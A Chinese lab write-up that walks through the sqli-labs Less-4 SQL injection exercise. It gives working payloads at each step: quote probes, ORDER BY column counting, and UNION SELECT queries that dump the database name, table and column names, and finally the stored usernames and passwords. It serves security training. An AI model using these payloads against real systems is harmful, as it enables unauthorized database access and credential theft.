[网络安全]sqli-labs Less-4 解题详析

判断注入类型

GET1" and "1"="1,回显如下:

GET1" and "1"="2
没有回显,说明该漏洞类型为GET型双引号字符型注入

判断注入点个数

GET1" order by 3 --+

由上图可知,sql语法中给$id加上了()
猜测后端语句为SELECT * FROM xx where id=("$id")
故构造GET1') order by 3 --+,此时后端语句为SELECT * FROM xx where id=("1") order by 3 --+")
即SELECT * FROM xx where id=("-1") order by 3

GET1") order by 3 --+

GET1") order by 4 --+
故注入点为3

查库名

GET-1") union select 1,2,database(); --+

回显库名security

查表名

-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显四个表名

查users表的列名

-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

查字段

Payload:-1") union select 1,group_concat(username),group_concat(password) from 库名.表名; --+

实例如下:

-1") union select 1,group_concat(username),group_concat(password) from security.users; --+
相关推荐
圆内~搁浅20 分钟前
langchain本地知识库问答机器人集成本地知识库
数据库·langchain·机器人
早起的年轻人1 小时前
Docket Desktop 安装redis 并设置密码
数据库·redis·缓存
xlxxy_1 小时前
ABAP数据库表的增改查
开发语言·前端·数据库·sql·oracle·excel
Hacker_LaoYi1 小时前
x安全服务 y安全体系 z网络安全模型 网络安全体系设计
网络·安全·web安全
清水加冰1 小时前
【MySQL】索引
数据库·mysql
qw9492 小时前
Redis(高阶篇)03章——缓存双写一致性之更新策略探讨
数据库·redis·缓存
IT猿手2 小时前
2025最新智能优化算法:鲸鱼迁徙算法(Whale Migration Algorithm,WMA)求解23个经典函数测试集,MATLAB
android·数据库·人工智能·算法·机器学习·matlab·无人机
m0_748234083 小时前
SQL Server 导入Excel数据
数据库
Ciderw3 小时前
MySQL日志undo log、redo log和binlog详解
数据库·c++·redis·后端·mysql·面试·golang